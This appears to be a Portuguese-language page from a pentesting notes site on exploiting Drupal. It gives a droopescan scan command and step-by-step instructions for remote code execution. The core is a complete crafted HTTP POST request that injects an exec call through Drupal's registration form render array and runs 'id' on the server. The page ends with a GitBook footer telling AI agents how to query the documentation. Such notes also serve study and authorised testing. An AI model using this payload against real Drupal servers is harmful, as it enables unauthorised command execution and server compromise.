> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/drupal-cms-exploitation/drupal-techniques.md).

# Drupal - Técnicas

## Scanner de site Drupal (Droopescan)

```bash
droopescan scan drupal --url http://website.com
```

## Exemplo de Execução Remota de Código (RCE)

1. Intercepte uma solicitação de redefinição de senha com **Burp Suite**:

<figure><img src="/files/b2b91d0d0500953e61f3a13b22cc71c0d86ac936" alt=""><figcaption></figcaption></figure>

2. **Remova** todos os dados da solicitação:

<figure><img src="/files/fc93562d1f8076eaff79612c078757007c0f1282" alt=""><figcaption></figcaption></figure>

3. **Insira** estes dados:

```makefile
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: seu-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatível; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
```

4. Invadido :) o **id** comando foi executado com sucesso.

<figure><img src="/files/15762552edcb710dfc02b4194c4521754f80ca3d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/drupal-cms-exploitation/drupal-techniques.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
